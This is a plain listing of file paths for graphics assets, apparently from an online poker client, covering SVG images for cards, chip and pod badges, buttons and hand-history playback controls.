D:\fulltilt\Graphics\NewTable\Classic\PodBadges\bronze_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\bronze_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\diamond_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\diamond_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\diamond_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\diamond_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\edge-pro_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\edge-pro_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\edge-pro_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\edge-pro_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\ftops_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\ftops_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\ftops_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\ftops_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\gold_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\gold_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\gold_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\gold_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\platinum_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\platinum_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\platinum_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\platinum_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\pod_badges_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\pod_badges_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\pod_badges_timer.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\pod_both_badges_lid_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\pod_both_badges_lid_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\pod_left_badge_lid_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\pod_left_badge_lid_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\pod_nobadges_lid_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\pod_nobadges_lid_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\pod_right_badge_lid_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\pod_right_badge_lid_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\rush_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\rush_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\rush_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\rush_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\silver_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\silver_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\silver_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\silver_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\true_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\true_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\true_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\true_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\Pod\BasePodLid_Off.svg
D:\fulltilt\Graphics\NewTable\Classic\Pod\BasePodLid_On.svg
D:\fulltilt\Graphics\NewTable\Classic\Pod\BasePod_Off.svg
D:\fulltilt\Graphics\NewTable\Classic\Pod\BasePod_On.svg
D:\fulltilt\Graphics\NewTable\Classic\Pod\ClassicOff-Double-0Token.svg
D:\fulltilt\Graphics\NewTable\Classic\Pod\ClassicOff-Double-1Token.svg
D:\fulltilt\Graphics\NewTable\Classic\Pod\ClassicOff-Triple-0Token.svg
D:\fulltilt\Graphics\NewTable\Classic\Pod\ClassicOff-Triple-1Token.svg
D:\fulltilt\Graphics\NewTable\Classic\Pod\ClassicOff-Triple-2Token.svg
D:\fulltilt\Graphics\NewTable\Classic\Pod\Timer.svg
D:\fulltilt\Graphics\NewTable\Classic\Pod\mobile.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\ChatAttach_Off.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\ChatDetach_Off.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\LeftCorner_Rebuy_Disabled_Background.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\LefttCorner.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\LefttCorner_On_Bottom.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\LefttCorner_On_Middle.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\LefttCorner_On_Top.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\LefttCorner_Rebuy_Background.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\LefttCorner_Rebuy_On_Bottom.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\LefttCorner_Rebuy_On_MIddle.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\LefttCorner_Rebuy_On_Top.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\LefttCorner_Tourney_Background.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\LefttCorner_Tourney_On_Bottom.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\LefttCorner_Tourney_On_Top.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\PopoutLink-Background.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\Responsible-Gaming-Icon.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\Responsible-Gaming-panel.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\RightCorner-1button.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\RightCorner.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\RightCorner_On_Bottom.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\RightCorner_On_Layout.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\RightCorner_On_Middle.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\RightCorner_On_Table.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\RightCorner_On_Top.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\RightCorner_On_Top_2.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\bigbutton_off.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\bigbutton_on.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\dropdown-button-inactive.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\dropdown-button-mousedown.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\dropdown-button-rollover.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\dropdown-button.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\smallbutton_disable.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\smallbutton_off.svg
D:\fulltilt\Graphics\NewTable\Common\Buttons\smallbutton_on.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\card_backs\CardBack_Blk.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\card_backs\CardBack_Blue.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\card_backs\CardBack_BlueCheck.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\card_backs\CardBack_RedCheck.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\card_backs_lores\cardback_blk.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\card_backs_lores\cardback_blue.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\card_backs_lores\cardback_bluecheck.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\card_backs_lores\cardback_redcheck.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_lores\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_lores\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_lores\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_lores\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_lores\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_lores\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_lores\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_lores\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_lores\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_lores\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_lores\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_lores\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_lores\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_nf_lores\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_nf_lores\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_nf_lores\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_nf_lores\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_nf_lores\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_nf_lores\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_nf_lores\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_nf_lores\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_nf_lores\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_nf_lores\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_nf_lores\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_nf_lores\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_green_nf_lores\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_lores\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_lores\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_lores\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_lores\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_lores\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_lores\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_lores\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_lores\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_lores\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_lores\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_lores\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_lores\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_lores\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_nf_lores\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_nf_lores\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_nf_lores\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_nf_lores\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_nf_lores\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_nf_lores\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_nf_lores\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_nf_lores\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_nf_lores\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_nf_lores\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_nf_lores\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_nf_lores\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\clubs_nf_lores\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue_lores\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue_lores\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue_lores\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue_lores\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue_lores\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue_lores\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue_lores\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue_lores\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue_lores\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue_lores\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue_lores\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue_lores\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_blue_lores\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_lores\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_lores\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_lores\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_lores\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_lores\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_lores\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_lores\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_lores\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_lores\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_lores\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_lores\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_lores\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_lores\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_blue_lores\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_blue_lores\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_blue_lores\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_blue_lores\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_blue_lores\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_blue_lores\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_blue_lores\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_blue_lores\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_blue_lores\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_blue_lores\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_blue_lores\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_blue_lores\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_blue_lores\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_lores\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_lores\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_lores\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_lores\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_lores\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_lores\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_lores\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_lores\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_lores\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_lores\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_lores\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_lores\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\diamonds_nf_lores\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_lores\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_lores\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_lores\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_lores\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_lores\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_lores\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_lores\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_lores\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_lores\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_lores\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_lores\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_lores\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_lores\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_nf_lores\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_nf_lores\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_nf_lores\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_nf_lores\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_nf_lores\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_nf_lores\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_nf_lores\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_nf_lores\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_nf_lores\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_nf_lores\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_nf_lores\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_nf_lores\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\hearts_nf_lores\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_lores\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_lores\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_lores\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_lores\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_lores\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_lores\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_lores\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_lores\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_lores\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_lores\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_lores\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_lores\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_lores\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_nf_lores\10.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_nf_lores\2.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_nf_lores\3.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_nf_lores\4.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_nf_lores\5.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_nf_lores\6.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_nf_lores\7.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_nf_lores\8.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_nf_lores\9.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_nf_lores\A.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_nf_lores\J.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_nf_lores\K.svg
D:\fulltilt\Graphics\NewTable\Common\Cards\spades_nf_lores\Q.svg
D:\fulltilt\Graphics\NewTable\Common\Chips\dealerbutton.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\active_street.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\active_street_blue.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\background.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\btm_button_active.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\btm_button_click.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\btm_button_hover.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\click_end.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\click_ff.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\click_pause.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\click_play.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\click_rew.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\click_start.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\disabled_end.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\disabled_ff.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\disabled_pause.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\disabled_play.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\disabled_rew.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\disabled_start.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\hover_end.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\hover_ff.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\hover_pause.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\hover_play.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\hover_rew.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\hover_start.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\up_end.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\up_ff.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\up_pause.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\up_play.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\up_rew.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\Playback\up_start.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\SpeedControl\slider_closed.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\SpeedControl\slider_handle.svg
D:\fulltilt\Graphics\NewTable\Common\LHH\SpeedControl\slider_open.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\1.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\2.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\3.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\AdvanceActions.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\Checkbox_Off.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\Checkbox_On.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\Handstrength-BG-Panel.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\Pattern_Tall.jpg
D:\fulltilt\Graphics\NewTable\Common\Misc\PersistentActions.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\Small_Blue_Button_Focused_Off.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\Small_Blue_Button_Focused_On.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\Small_Blue_Button_Off.svg
